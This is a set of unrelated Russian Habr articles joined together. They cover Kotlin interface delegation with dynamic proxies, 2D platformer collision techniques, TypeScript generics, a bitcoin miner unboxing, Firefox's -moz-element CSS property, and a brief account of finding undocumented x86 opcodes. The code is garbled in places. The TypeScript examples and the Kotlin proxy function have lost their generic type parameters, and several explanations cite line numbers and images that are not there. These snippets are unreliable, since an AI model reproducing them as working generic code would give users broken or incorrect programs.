Например, мы отдаем объект *ApplicationUser`a*наружу, но хотим отправлять какое-то событие, каждый раз как у него вызовут метод *getEmailAddress().*Для этого делаем свой объект, реализующий интерфейс **ApplicationUser**
```
public class EventApplicationUser implements ApplicationUser {
private ApplicationUser delegate;
public EventApplicationUser(ApplicationUser delegate) {
this.delegate = delegate;
}
@Override
public String getEmailAddress() {
System.out.println("send event");
return delegate.getEmailAddress();
}
@Override
public String getDisplayName() {
return delegate.getDisplayName();
}
@Override
public String getKey() {
return delegate.getKey();
}
@Override
public String getUsername() {
return delegate.getUsername();
}
@Override
public long getDirectoryId() {
return delegate.getDirectoryId();
}
@Override
public boolean isActive() {
return delegate.isActive();
}
}
```
Используется такая конструкция следующим образом
```
public ApplicationUser method() {
ApplicationUser user = getUser();
return new EventApplicationUser(user);
}
```
Так вот, в Kotlin есть [встроенная поддержка](https://kotlinlang.org/docs/reference/delegation.html) для такого использования делегата. И вместо простыни кода в стиле
```
@Override
public String someMethod() {
return delegate.someMethod();
}
```
Можно сделать так
```
class EventApplicationUser(private val user: ApplicationUser) : ApplicationUser by user {
override fun getEmailAddress(): String {
println("send event")
return user.emailAddress
}
}
```
И этот код будет работать точно так же как и его джавовский собрат. Важный момент, синтаксис делегирования работает и для анонимных классов, т.е. можно делать вот так, без предварительной подготовки классов-оберток
```
val user = object : ApplicationUser by originalUser {
override fun getEmailAddress(): String {
println("send event")
return originalUser.emailAddress
}
}
```
Теперь надо лишь как-то подготовить объект *originalUser*, реализующий дефолтное поведение. Тут нам пригодится возможность создать [динамический прокси](https://www.baeldung.com/java-dynamic-proxies).
Написав простую [инлайн функцию](https://kotlinlang.org/docs/inline-functions.html#reified-type-parameters)
```
inline fun proxy() = Proxy.newProxyInstance(T::class.java.classLoader, arrayOf(T::class.java), { \_, \_, \_ -> null }) as T
```
мы получаем возможность писать так
```
val user1 = proxy()
val user2: ApplicationUser = proxy()
```
Обе строки делают одно и то же, создают динамический прокси для интерфейса ***ApplicationUser*.**
Разница, чисто синтаксическая, в первом случае мы явно параметризуем нашу функцию proxy*()*и компилятор понимает, что результат будет типа ***ApplicationUser,***во втором случае мы откровенно говорим, что хотим переменную типа ***ApplicationUser***и компилятор понимает чем надо параметризовать функцию proxy*().*
Остается только свести все вместе
```
val user = object : ApplicationUser by proxy() {
override fun getDisplayName() = "John Doe"
override fun getEmailAddress() = "jdoe@example.com"
override fun toString() = "$displayName <$emailAddress>"
}
```
Здесь мы создаем анонимный объект с интерфейсом ***ApplicationUser***, тут же все методы делегируем в свежесозданный мок и переопределяем только нужное, без всяких оберток/заготовок под каждую сущность, естественным образом.
p. s. Идеально, конечно было бы снять ограничение на интерфейсы и разрешить делать что-то в таком духе, но тут уже нужна поддержка со стороны компилятора
```
val user = proxy() {
override fun getDisplayName() = "John Doe"
override fun getEmailAddress() = "jdoe@example.com"
override fun toString() = "$displayName <$emailAddress>"
}
``` | https://habr.com/ru/post/590379/ | null | ru | null |
# Путеводитель по реализации 2Д платформеров (начало)
Так как ранее я был разочарован количеством информации по этому вопросу, я решил восполнить этот пробел, собрав разные виды реализации 2Д платформеров, описав их сильные и слабые стороны и порассуждав над деталями реализации.
Моей целью было создать исчерпывающий и понятный путеводитель по реализации 2Д платформеров.
**Оговорка**: часть информации в этой статье получена путём реверсивного проектирования поведения игры, а не из исходного кода или от программистов. Возможно, что на самом деле игра реализована не так, как описано в статье, а просто ведёт себя схожим образом. Также стоит отметить, что размеры сетки тайлов для игровой логики могут отличаться от размеров графических тайлов.
Четыре решения
--------------
Мне приходит на ум четыре основных варианта решений при создании платформера. В рамках этой статьи будут рассмотрены все четыре, но из-за большого объема статья поделена на 2 части (прим. пер).
От простого к наиболее сложному это:
Тип №1: Тайловый (чистый)
-------------------------
В нём позиционирование персонажа ограничено сеткой тайлов, таким образом, он никогда не сможет встать между двумя тайлами. Для создания иллюзии плавного передвижения могут быть использованы различные анимации, однако, согласно игровой логике, персонаж всегда находится прямо на конкретном тайле. Это самый простой способ сделать платформер, однако он накладывает большие ограничения на контроль персонажа, делая его неприемлемым для традиционных экшн-платформеров. Тем не менее, он очень популярен для паззлов и «кинематографичных» платформеров.
*Flashback, сетка тайлов*
Примеры: Prince of Persia, Toki Tori, Lode Runner, Flashback
**Как оно работает**
Карта — это сетка тайлов, каждый из которых содержит информацию о свойствах тайла: препятствие это или нет, какое изображение использовать, какие проигрывать звуки шагов и так далее. А игрок и другие персонажи представлены набором из одного или нескольких тайлов, движущихся вместе. Например, в Lode Runner игрок является одним тайлом. В Toki Tori же игрок 2х2 тайла. А в игре Flashback, которая довольно необычна из-за небольшого размера сетки тайлов, игрок имеет габариты в два тайла в ширину и пять в высоту (см. изображение выше) когда стоит, но всего три тайла в высоту, когда пригибается.
В играх такого типа, персонаж обычно не двигается по диагонали, а если и двигается, то, движение можно разложить на два отдельных шага. Движение на несколько тайлов можно сделать множественными сдвигами одиночных тайлов, если нужно (во Flashback игрок всегда движется по два тайла за раз). Складывается следующий алгоритм:
1. Создать копию персонажа там, где он должен оказаться (т.е. если нужно сдвинуться на 1 тайл вправо, нужно сделать копию, где каждый тайл персонажа сдвинут на один тайл вправо)
2. Проверить эту копию на пересечение с фоном и другими персонажами
3. Если найдено пересечение, то передвижение персонажа заблокировано. Нужно отреагировать соответствующим образом.
4. В противном случае путь чист. Передвигайте персонажа сюда, воспроизводя анимацию, если необходимо, чтобы перемещение выглядело плавным.
Этот тип движения совершенно непригоден для обычных прыжков «по дуге», поэтому игры такого жанра вовсе лишены прыжков (Toki Tori, Lode Runner) или разрешают только горизонтальные или только вертикальные прыжки фиксированной длины (Prince of Persia, Flashback), которые есть ни что иное как обычное линейное движение. Преимущества этой системы — простота и точность. Такие игры более детерминированы, что ведет к меньшей вероятности появления глюков и более контролируемому геймплею, не требующему слишком часто подстраивать значения в зависимости от обстоятельств. Фиксированные расстояния для взаимодействия дают возможность сделать красивую бесшовную анимацию. Значительно упрощается реализация некоторых игровых механик (таких как ухват за выступ и односторонние платформы) — всё что нужно сделать, это проверить, удовлетворяют ли тайлы фона в нужной позиции необходимым условиям.
Конечно, эта система не даёт делать шаги менее чем на один тайл, но шаги можно уменьшать разными способами. Например, тайлы могут быть чуть меньше, чем игрок (скажем, игрок 2х6 тайлов), или можно разрешить «только визуальное» движение, чтобы перемещаться внутри выбранного тайла без изменения логики (я полагаю, что это решение применено в «Lode Runner – The Legend Returns»)
Тип №2: Тайловый (Плавный)
--------------------------
Столкновения по прежнему определяются сеткой тайлов, но персонажи могут двигаться в мире свободно (обычно с разрешением в 1 пиксель. см. замечание в конце статьи относительно плавности движения). Это наиболее частая форма реализации платформеров на 8-ми и 16-ти битных консолях, остающаяся популярной и сегодня, так как крайне легка в реализации и позволяет редактировать уровень намного проще чем с применением более сложных техник. Также она позволяет делать уклоны и плавные прыжки по дуге.
Если вы не уверены какой именно платформер хотите сделать, но точно экшн, то я предлагаю остановиться на этом типе. Неудивительно, что подавляющее большинство лучших экшн-платформеров всех времён основываются именно на этом методе.
*Mega Man X, с сеткой и прямоугольником персонажа.*
Примеры: Super Mario World, Sonic the Hedgehog, Mega Man, Super Metroid, Contra, Metal Slug, и практически любой платформер 16-битной эры
**Как это работает**
Информация о карте хранится также, как и в чисто тайловом методе. Разница только в том, как персонаж взаимодействует с фоном. Теперь у персонажа есть описывающий его прямоугольник для просчета столкновений (AABB, который не может вращаться), и, обычно, по размеру является кратным размеру тайла. Стандартные размеры вроде одного тайла в ширину и один (маленький Mario, пригнувшаяся Samus), два (большой Mario, Mega Man, пригнувшаяся Samus) или три (стоящая Samus) тайла в высоту. Во многих случаях визуально спрайт персонажа больше, чем логический прямоугольник, так как это делает внешний вид игры более приятным и геймплей — более честным (согласитесь, что для игрока лучше избежать попадания, когда он должен его получить, чем получить когда не должен).
На изображении выше, можно заметить, что спрайт с персонажем «X» квадратный (два тайла шириной), однако описывающий его прямоугольник шириной только в один тайл.
При условии, что нет уклонов и односторонних платформ, алгоритм прост:
1. Разложить движение на оси X и Y, делать одно перемещение за раз. Если планируется позже добавить уклоны, тогда сначала по X, затем по Y. В противном случае порядок абсолютно не важен. Затем для каждой оси:
Получить координату грани в направлении движения. Например: если двигаться влево, X координата левой грани описывающего прямоугольника. Если вправо, X координата правой стороны. Если верх, Y координата верха и так далее.
2. Определить какие линии тайлов пересекаются с описывающим прямоугольником — это даст минимальное и максимальное значение тайла на ДРУГОЙ оси. Например, если мы движемся влево, предположим игрок пересекается с горизонтальными линиями 32, 33 и 34 (вот оно, тайлы с Y = 32 \* TS, Y = 33 \* TS и Y = 34 \* TS, где TS = размер тайла).
3. Изучите эти линии с тайлами в направлении движения, пока не найдете ближайшее препятствие. Затем в цикле смотрите на каждое движущееся препятствие и определите, какое из всех наиболее близкое на вашем пути.
4. Результирующее движение игрока вдоль этого направления это минимум между расстоянием до ближайшего препятствия и дальностью хода игрока.
5. Передвинуть игрока на новую позицию. С этой позиции обрабатывайте другую координату, если еще не обработали.
Уклоны
------
*Mega Man X, с комментариями к уклонам*
Уклоны (тайлы, на которые указывают зеленые стрелки) слегка мудрёная штука, так как они и препятствия и в то же время позволяют персонажу заходить на их тайл. Также они вызывают изменение Y координаты при простом перемещении вдоль оси Х. Простой способ сделать их — это позволить тайлу хранить информацию о «высоте пола» с каждой стороны. Допустим система координат с нулём в левом верхнем углу, тогда тайл слева от X (героя), первый тайл уклона, будет содержать высоты {0, 3}. Тот, на котором он стоит будет содержать {4, 7}, затем {8, 11}, потом {12, 15}. После чего всё повториться снова с {0, 3} и так далее. После мы видим уклон с большим углом, собранный из двух тайлов {0, 7} и {8, 15}.
*Детальный вид тайла {4, 7}*
Метод, который я собираюсь описать позволяет делать произвольные уклоны, несмотря на очевидные причины, эти два уклона наиболее распространены и получаются из 12 тайлов (6 описано ранее и их зеркальные копии). Алгоритм коллизий изменяется для горизонтального движения:
* Убедитесь, что передвижение по оси X происходит раньше чем по Y.
* Во время проверки столкновений (4 пункт выше по тексту) уклон считается столкновением только если его ближайшая грань наивысшая (меньше Y координаты). Это предотвратит ситуацию с подёргиванием персонажа при движении с другой стороны.
* Возможно вы захотите запретить персонажу останавливаться на полпути уклона (например на {4, 7} тайле). Эти ограничения приняты в Mega Man X и многих других играх. Если не захотите, то вам придется разбираться с еще более сложным случаем, когда игрок пытается забраться с нижней стороны тайла с уклоном. Один вариант побороть это — обработать уровень и пометить все подобные тайлы. Тогда при обнаружении столкновений нужно также считать это столкновением от нижней части игрока, если наименьшая Y координата игрока ниже выпирающей части тайла (координата тайла \* размер тайла + уровень пола y).
* Целый тайл с препятствием, смежный с уклоном, если на нем стоит игрок, не должен считаться будто он прикреплен к уклону. Тоесть если персонаж (его нижний центральный пиксель) на уклоне {0, \*}, нужно игнорировать левый тайл, а если на улоне {\*, 0} — игнорировать правый. Можно делать так для большего числа тайлов, если персонаж шире, чем два тайла — просто скидывать проверку всего ряда, если игрок двигается навстречу верхней части уклона. Причина, для того чтобы это делать, в том, чтобы предотвратить застревание персонажа в этих тайлах (подсвечены желтым на скриншоте выше), пока он забирается на уклон и его ступни будут ниже «уровня поверхности» до тех пор. пока он не поднимется до уровня прямых тайлов.
И для вертикального передвижения:
* Если позволить гравитации делать свою работу для спуска по склону, убедитесь, что минимальное смещение гравитацией совместимо с уклоном и горизонтальной скоростью. Например, на 4:1 уклоне (на скриншоте {4, 7} выше) гравитационный сдвиг должен быть как минимум 1\4 горизонтальной скорости округленной вверх. На склоне 2:1 (таком как {0, 7}) минимально 1\2. Если это не учесть, игрок будет двигаться горизонтально до конца рампы в течении времени, пока гравитация не поймает и не бросит его вниз, заставляя его скакать на наклонной плоскости вместо плавного спуска по ней.
* Альтернативой использования гравитации можно взять расчет разницы количества пикселей между высотой игрока до начала и после окончания движения (использую формулу ниже) и менять его позицию, чтобы всё совпадало.
* Когда движетесь вниз возьмите для расчета не наивысшую грань уклона для просчета столкновений, а текущую точку на вертикали с позицией игрока. Чтобы это сделать найдите [0, 1] значение, которое определит расположение игрока на тайле (0 = лево, 1 = право) и используйте линейную интерполяцию floorY значений. Код будет выглядеть как-то так:
```
float t = float(centerX - tileX) / tileSize;
float floorY = (1-t) * leftFloorY + t * rightFloorY;
```
* При движении вниз, если несколько тайлов с препятствиями находится на одной Y координате и одна на X координате центра игрока — тайл уклона, то используйте именно его, игнорируйте остальные, даже если они, технически, ближе. Это обеспечит более верное поведение на краях уклонов и не позволит персонажу «съезжать» на совершенно ровном тайле только потому, что рядом есть уклон.
Односторонние платформы
-----------------------
*Super Mario World, где Mario сваливается сквозь (слева) и стоит на (справа) одной и той же односторонней платформе*
Односторонние платформы — это обычные платформы на которые можно встать, но при этом можно запрыгнуть сквозь них снизу. Другими словами, они считаются препятствием если вы стоите на них, и не считаются, если вы прыгаете снизу. Это полностью описывает их поведение. Алгоритм немного меняется:
* по X координате этот тайл никогда не бывает препятствием
* По Y координате этот тайл препятствие только при движении сверху вниз и только при координате игрока больше (хотя бы на 1 пиксель, когда он стоит), чем верхняя грань тайла.
Довольно заманчиво завязать поведение на позитивное значение вертикальный скорости игрока (если игрок падает), но это будет не верно: игрок может, при прыжке, пересечь платформу, но затем начать падать вниз снова, не успев поставить ноги на платформу. В этом случае он должен по прежнему проваливаться сквозь неё.
Некоторые игры позволяют игроку спрыгивать вниз с таких платформ. Есть несколько путей решения, но они все относительно простые. Например, можно отключить односторонние платформы на один кадр и убедиться, что вертикальная скорость как минимум в один пиксель (так, что персонаж будет ниже платформы на следующем кадре), или можно проверить стоит ли он на односторонней платформе, и если стоит, то сдвинуть персонажа на один пиксель вниз.
Лестницы
--------
*Mega Man 7, с сеткой тайлов, подсвеченными тайлами лестницы, и прямоугольник игрока.*
Лестницы могут показаться сложной штукой, но реализуются они довольно просто — когда персонаж на лестнице, он просто игнорирует большинство коллизий и переопределяет их новым набором правил. Лестницы обычно в один тайл шириной.
На лестницу можно попасть двумя путями:
* Описывающий персонажа прямоугольник пересекается с лестницей, неважно в воздухе или на земле и нажатием кнопки «вверх» (некоторые игры позволяют нажимать «вниз»)
* Персонаж стоит на вершине тайла лестницы (который часто является тайлом односторонней платформы, так что по нему можно ходить) и жмет «вниз».
Это немедленно вызывает эффект привязывания координаты Х игрока к тайлам лестницы, и если двигаться сверху лестницы вниз, нужно просто менять У координату, поскольку игрок уже находится внутри реальной лестницы. Начиная с этого момента некоторые игры начинают использовать другой описывающий прямоугольник, чтобы определять находится ли игрок до сих пор на лестнице. Mega Man, например, видимо использует одиночный тайл (эквивалент верхнего тайла обычного персонажа, обведенный красным на картинке выше).
Чтобы покинуть лестницу есть несколько вариантов:
* Достигнуть верха лестницы. Обычно это оканчивает анимацию и перемещает игрока на несколько пикселей вверх по У, чтобы он теперь просто стоял на верху лестницы.
* Достигнуть низа висящей лестницы. Это приведёт к тому, что игрок просто упадёт, хотя некоторые игры просто не дадут покинуть лестницу таким путём.
* Сдвинуться влево или вправо. Если сбоку нет препятствий, игроку может быть позволено сбежать таким путём.
* Спрыгнуть. Некоторые игры позволяют освободить лестницу даже так.
Пока игрок находится на лестнице, поведение персонажа меняется так, что обычно он может двигаться вверх и вниз и иногда атаковать.
Ступеньки
---------
*Castlevania: Dracula X, с сеткой тайлов*
Ступеньки это разновидность лестниц, как замечено в некоторых играх, но особенно в серии Castlevania. Реализация очень похожа на лестницы с некоторыми оговорками:
* Игрок двигается тайл за тайлом или по половинке тайла (как в Dracula X)
* Каждый «шаг» сдвигает игрока одновременно и по Х и по У координатам на фиксированную величину.
* Определение стартового соприкосновения с лестницей при начале подъема должно смотреть на тайл вперёд вместо того, с которым идёт пересечение сейчас.
Другие игры могут реализовывать лестницы как уклоны. В этом случае лестницы несут больше декоративных характер.
Двигающиеся платформы
---------------------
*Super Mario World*
Двигающиеся платформы могут показаться хитрыми, но на самом деле крайне просты. В отличие от нормальных платформ их нельзя представить фиксированными тайлами (по очевидным причинам), а необходимо описать их AABB прямоугольником. Это обычное препятствие для всех видов столкновений. Если останоиться на этом, то это будут очень скользкие платформы (они будут работать, но как и задумано, за исключением того, что персонаж не будет двигаться вместе с ними).
Есть несколько вариантов решения. Разберём один алгоритм:
* До того как в сцене что-то сдвинетcя, надо определить стоит ли персонаж на подвижной платформе. Этого можно добиться проверкой, например, находится ли центральный пиксель игрока на один пиксель выше поверхности платформы. Если да, сохраним указатель на платформу где-нибудь внутри персонажа.
* Сдвигаем все подвижные платформы. Убедимся что сделали это до того как начали двигать персонажей.
* Для каждого персонажа, который стоит на платформе, посчитаем дельту смещения платформы (насколько сдвинулась по каждой оси). Теперь сдвинем персонажа на тоже самое значение.
* Теперь двигаем персонажей, как и обычно.
Другие фичи
-----------
*Sonic the Hedgehog 2*
Есть игры, которые располагают сложными и эксклюзивными фичами. Например серия Sonic the Hedgehog. Эти фичи выходят за рамки этой статьи (и моих знаний, что очень важно!), но могут стать темой будущей статьи.
[Продолжение (окончание)](http://habrahabr.ru/post/266237/) | https://habr.com/ru/post/265911/ | null | ru | null |
# Что такое дженерики в TypeScript?
TypeScript, "надмножество JS", облегчает создание поддерживаемых, понятных и масштабируемых приложений благодаря эффективной возможности проверки типов.
**Дженерики** играют важную роль в TypeScript, поскольку они позволяют нам писать многократно используемый код, принимающий в качестве аргументов как значения, так и типы.
### Дженерики в функциях
Дженерики помогают нам сделать код наиболее пригодным для повторного использования. Давайте попробуем понять, что такое дженерики и зачем они нам нужны, на примере ниже
```
interface Person {
name: String
}
const convertStringToArray = (value: String): Array => {
return [value];
}
const convertNumberToArray = (value: Number): Array => {
return [value];
}
const convertPersonToArray = (value: Person): Array => {
return [value];
}
```
Обратите внимание, что в приведенном выше фрагменте у нас есть три функции, выполняющие практически одно и то же действие. Это дублирующий код, который так и кричит о необходимости сделать его многоразовым.
Одна вещь, которую мы бы могли сделать, это поместить тип `any`, чтобы значения типа String, Number и Person можно было использовать в качестве аргументов в одной и той же функции. К сожалению, это вызывает больше проблем, чем решает (в общем, если вы планируете использовать тип `any` очень часто, то, возможно, лучше оставить его исключительно в JS).
Решение "проблемы повторного использования" с помощью дженериков — пример:
```
export interface Person {
name: String;
}
export const convertToValueArray = (value: T): Array => {
return [value];
};
const person: Person = {
name: "Mahesh"
};
const firstPerson = convertToValueArray(person)[0];
```
Функция `converToValueArray` получает значение выбранного типа и возвращает массив этого типа: `Array` . Так, например, если значение имеет тип String, то возвращаемый тип будет `Array`.
Давайте посмотрим, как TypeScript показывает ошибку, когда мы определяем наш дженерик-тип.
Обратите внимание, в строке 18, после использования дженериков, если мы хотим получить доступ к age (возрасту), он показывает соответствующую ошибку, что нам и нужно для получения своевременного фидбека на любую неточность.
### Выведенный тип
Давайте определим функцию, которая принимает дженерик-тип.
```
function convertToArray(args: T): Array {
return [args];
}
```
Мы можем вызвать функцию двумя способами
```
convertToArray("someString");
convertToArray("someString");
```
Как мы видим, если тип не передан в `<>`, то он выводится автоматически. Вывод типа делает код короче, но в сложных определениях может потребоваться явная передача типа.
### Более одного дженерик-типа
Точно так же, как аргументы функции, мы можем передавать более одного типа, что не зависит от количества аргументов функции. Например
```
function doStuff(name: T): T {
// ...some process
return name;
}
```
Вышеуказанная функция может быть вызвана следующим образом:
```
doStuff("someString");
```
### Дженерик-классы
Много раз нам требовалось бы создать дженерик-класс, например, абстрактные Base (базовые) классы. В них мы можем передавать типы при создании экземпляров классов.
```
interface DatabaseConnector {
get: Function;
put: Function;
}
abstract class BaseLocalDatabase {
tableName: String;
databaseInstance: DatabaseConnector;
constructor(tableName: String) {
this.tableName = tableName;
this.databaseInstance = getDatabase(tableName);
}
async insert(data: M): Promise {
await this.databaseInstance.put(data);
}
async get(id: Number): Promise {
return await this.databaseInstance.get(id);
}
abstract getFormattedData(): Array;
}
```
Как видно, в строке 6 мы создали базовый локальный класс базы данных, который мы можем использовать для создания экземпляра одной конкретной таблицы и выполнения операций над экземпляром базы данных. Давайте напишем класс `contact`, который расширяет этот базовый класс, чтобы он мог наследовать некоторые свойства от родителя.
```
interface ContactTable {
name: String;
}
interface ContactModel {
id: String;
name: String;
phoneNumber: String;
profilePicture: String;
createdAt: Date;
updatedAt: Date;
}
class ContactLocalDatabase extends BaseLocalDataBase {
// overriden function
getFormattedData(): ContactModel[] {
// format and return data
}
}
```
* В строке 14, при расширении дженерик-класса, в данной базе данных мы должны передать два типа. В нашем случае `ContactTable` и `ContactModel`.
* Строка 17: База данных `ContactLocalDatabase` получит функции из родительского класса и должна переопределить функцию `getFormattedData`, поскольку она определена как абстрактная функция в родительском базовом классе.
* Строка 17: Теперь это функция, имеющая дженерик-тип, о котором мы говорили в первом разделе.
Давайте создадим экземпляр `ContactLocalDataBase`, чтобы увидеть дженерики класса в действии.
```
let contactsLocalDatabase = new ContactLocalDatabase("Contact table");
await contactsLocalDatabase.get(21);
const contactModel: ContactTable = {
id: 12,
name: 'Some name',
..., // define all other values.
...
}
await contactsLocalDatabase.insert(contactModel);
const contactArray: Array = contactsLocalDatabase.getFormattedData();
```
* Строка 1: поскольку мы определили типы класса `ContactLocalDatabase` при использовании ключевого слова new, типы не нужно передавать в базовый класс.
* Строки 3, 11, 13: мы можем заметить, что эти функции принадлежат абстрактному классу. Они ведут себя в соответствии с определениями дженерик-класса.
### Ограничения дженериков
До сих пор было понятно, что дженерики — это способ написания кода таким образом, что наш код может поддерживать более одного типа и тип может быть передан в качестве параметра.
Исходя из этого, передаваемый тип может быть любым предопределенным или сложным пользовательским типом.
Иногда, если мы хотим получить доступ к какой-либо функции из дженерик-типизированной переменной, это приведет к ошибке.
* Строка 6: Это вполне допустимая ошибка, так как у данных дженерик-тип. Они могут быть String, Number, Float или любым другим типом, а передаваемые данные могут как учитывать длину, так и нет.
Следовательно, мы можем добавить некоторые ограничения к любым дженерикам, где TS будет гарантировать, что только те значения могут быть переданы в функцию или класс, которые выполняют ограничивающее условие. Давайте добавим некоторые ограничения к определению нашей дженерик-функции.
* Строка 4: мы расширили тип `T`, чтобы он имел свойство length (длина);
* Строка 5: исчезла ошибка, которая говорила, что свойство length не существует для типа 'T';
* Строка 10: когда мы вызываем функцию с числом, она выдает ошибку, объясняя, что не выполняется условие ограничения;
* Строки 12 и 13: когда мы передаем корректные данные, такие как String или Array, TS не выдает ошибку.
---
> Завтра состоится открытое занятие **«Обзор технологий для построения API»**, на котором рассмотрим несколько протоколов клиент-серверных приложений. На примере увидим сильные стороны и недостатки. Регистрация для всех желающих [**здесь**](https://otus.pw/kGcY/).
>
> | https://habr.com/ru/post/685652/ | null | ru | null |
# Bitcoin: Заказ и получение Little Jalapeno от Butterfly Labs
Желание поучаствовать в майнинге биткоинов появилось летом прошлого года, когда курс дополз до 20 уе за штуку.
Почитав про то, как люди извращаются в постройках ферм для майнинга, сколько это «кушает» электричества и гудит, было решено сделать pre-order на Little Jalapelo.
Butterfly Labs обещали 4,5 GH за смешные Ватты. Опять же Интернет писал, что товарищи из «бабушкалабз» люди не обязательные, сроки постоянно сдвигают, но в конце концов «железо» присылают.
Итак, в конце августа были оплачены через PayPal две штуки по 150 уе за штуку плюс посылка где-то 30уе.
И потянулись долгие месяцы переносов сроков и ожидания. При заказе я при самых плохих «раскладах» ожидал получить заказ в феврале-марте, как же я был наивен…
Но это всё лирика. Оживление началось в мае-июне, когда начался шиппинг Little Jalapeno обычным покупателям. До этого высылали developer unit всяким тестерам и знаменитостям из ИТ.
И так я начал пристально мониторить шиппинг [блог](https://forums.butterflylabs.com/blogs/bfl_jody/)
В средине июня я получил e-mail, что мой заказ был отправлен USPS и 25го июня посылка трекалась на сайте Укрпочты и была отправлена на таможню.
И 1го июля трекинг сообщил, что моя посылка из таможни отправилась в моё почтовое отделение.
Сегодня я посылку забрал, и был удивлен, что в общей сложности посылка дошла за меньше чем две недели.
##### UNBOXING
Таможню посылка заинтересовала, но предъявить видимо нечего было.
##### ТЕСТИРОВАНИЕ
Дивайс представляет собой куб весом около двух килограммов, скорее это из-за мощного радиатора внутри и крышки металлической.
Блок питания напоминает БП от обычного ноутбука, и скорее всего им и является.
Подключение к компьютеру посредством USB.
Подключение к Windows 7 произошло гладко, и windows отрапортовала, что драйверы устройств установлены успешно. С сайта производителя был скачан EasyMiner, Он опознал устройства, и радостно принялся майнить на скорости около 10,5 GH.
##### МАЛИНА
Я же хотел подключить эти два устройства к Raspberry Pi, закинуть в кладовку и наслаждаться увеличением моего биткоин кошелька.
Забегая вперед скажу, что в полной мере насладиться мне не удалось.
На «малине» стоит дистрибутив RPIBMC, основанный на Debian 7.
Little Jalapeno определились как:
```
# lsusb
Bus 001 Device 002: ID 0424:9512 Standard Microsystems Corp.
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 003: ID 0424:ec00 Standard Microsystems Corp.
Bus 001 Device 004: ID 0403:6014 Future Technology Devices International, Ltd FT232H Single HS USB-UART/FIFO IC
```
Установка bfgminer прошла успешно.
Загрузка процессора:
Но черз два часа майнинга меня постигло жестокое разочарование — один из дивайсов перестал майнить и моргать лампочками.
Скорее всего буду отсылать его в Butterfly Labs ибо на странице продукта они пишут о Lifetime warranty:
[*Warranty: This unit’s system board has a
lifetime warranty from manufacture defect
or component failure.*](https://products.butterflylabs.com/homepage/5-gh-s-bitcoin-miner.html)
Спасибо, что дочитали до конца.
Если вы найдёте ошибку, сообщите о ней в комментариях.
**UPD**.
30/07/2013
Сегодня получил устройство из починки.
Отправлял 09/07/2013.
Из США дошло за 6! дней, за что Укпочте большой плюс.
В посылке оказался только! дивайс без БП и USB шнура, за что в BFL летят лучи…
Отправлял-то я полный комплект
Буду покупать отдельно БП и шнур.
31/07/2013
Купил БП на 12В 5А с нужным штекером за 10уе
Знакомые из СЦ настоятельно не рекомендовали вешать два устройства на один БП. | https://habr.com/ru/post/185392/ | null | ru | null |
# Использование элементов, в качестве фоновых изображений при помощи -moz-element
Перевод статьи «Use Elements as Background Images with -moz-element», David Walsh
Все мы знаем, что все браузерные вендоры по своему определяют многие CSS и JavaScript фичи, и я благодарен им за это. [Mozilla](http://davidwalsh.name/moz-css) и [WebKit](http://davidwalsh.name/webkit-css) предлагают свои интересные проприетарные свойства, и хотя, как мы знаем, утверждение стандартов происходит годами, намного дольше чем стоило бы, мы все должны быть за это благодарны. Есть одно интересное CSS свойство о котором вы наверняка еще не слышали — `-moz-element`, это реализованное Mozill'ой CSS свойство, которое позволяет разработчикам использовать HTML элементы в качестве фонов для других элементов!
##### [Смотреть демо](http://davidwalsh.name/demo/moz-element.php)
#### HTML и CSS
Предположим, что HTML элемент существует внутри текущей страницы и у него задан стиль. У элемента есть CSS градиент, текст и несколько CSS свойств:
```
I'm in the background.
```
Я задал стили внутри атрибута элемента, но -moz-element работает и со стилями указанными в тегах style или внешних таблицах стилей. Теперь, имея элемент на нашей странице, мы можем использовать его как «background» для другого элемента:
```
#mySpecialElement {
/* mozElementBack exists as an element within the page */
background: -moz-element(#mozElementBack) repeat;
}
```
Присваивание ID элемента свойству `-moz-element`, теоретически, превращает элемент в фоновое изображение, позволяющее применять background-repeat и все остальное. Также, заметьте, что элемент обновляется при обновлении стиля и содержимого фонового элемента, так что вы работаете с «живим» фоном!
##### [Смотреть демо](http://davidwalsh.name/demo/moz-element.php)
Потрясающее CSS свойство, не так ли? Возможность использования существующего HTML элемента, в качестве CSS фона, просто удивительна, но благодаря Mozilla, это полностью возможно. Вы думаете о реальном применении это свойства? Преимущество, которое я вижу в `-moz-element` это то, что вы сможете включать текст в фон, также вы сможете использовать элементы сгенерированные внешними скриптам (скрипты социальных закладок, например). Какая же это интересная реализация! | https://habr.com/ru/post/230431/ | null | ru | null |
# Обнаружены незадокументированные опкоды в системе инструкций процессора x86
Венгерский инженер Кан Бёлюк (Can Bölük) из [Verilave](https://verilave.com/) нашёл неиспользованные и не задокументированные операционные коды в системе инструкций процессора x86-64.
Оказывается, такие опкоды действительно существуют! Некоторые команды изначально были мертворожденными, другие больше напоминают пасхалки, а третьи кажутся забытыми багами или частично реализованными командами, которые никогда не увидят свет. Есть и такие опкоды, которые, кажется, открывают целый «[Режим бога»](https://hackaday.com/2019/02/03/unlocking-god-mode-on-x86-processors/) и позволяют обойти защиту процессора или даже [переписать внутренний микрокод чипа](https://twitter.com/_markel___/status/1373059797155778562). Бёлюк автоматизировал процесс их обнаружения, причём его подход оказался весьма оригинальным.
Проблема обнаружения неиспользованных операционных кодов заключается в том, что при тестировании бывает сложно выявить взаимосвязи. Инструкции могут работать с одними регистрами, но не работать с другими, одни команды поддерживаются режимами памяти, а другие – нет.
Кан Беллюк вывел метод обнаружения практически любой инструкции процессора, используя сторонний канал. Способ интересен тем, что он обращается к нетривиальным возможностям процессора. Полный код доступен тут: [haruspex.can.ac](https://haruspex.can.ac/browse/) / [Github](https://github.com/can1357/haruspex/).
В своём блоге Кан Беллюк подробно рассказывает о сути своего подхода:
### Откуда взялись микроинструкции
Современные процессоры имеют безумно сложную микроархитектуру. Старые добрые декодеры больше не декодируют команды напрямую для исполнительного устройства. Они декодируют их в микроинструкции, в соответствии с микро-кодом процессора для отправки в порты выполнения. В современном процессоре Intel этим занимаются два модуля:
* **Механизм перевода микро-инструкций (MITE)** – переводит простые устаревшие инструкции в четыре или менее микроинструкций.
* **Секвенсор микрокода (MS) –** отвечает за перевод более сложных инструкций, от которых CISC в архитектуре Intel просто сходит с ума.
Здесь также стоит упомянуть **буфер декодированного потока (DSB)**, более известный как **iCache**. Но он не имеет отношения к эксперименту, так как обрабатывать низкоуровневые элементы можно через счётчики производительности, которые нам щедро предоставляет Intel. В основном это:
Такой подход имеет преимущества перед другими, такими как Sandsifter. Даже если микрокод инструкции выдаёт #UD (скажем, если пароль не совпадает или не выполняются какие-то условия), это нас не обманет, поскольку его всё ещё нужно декодировать.
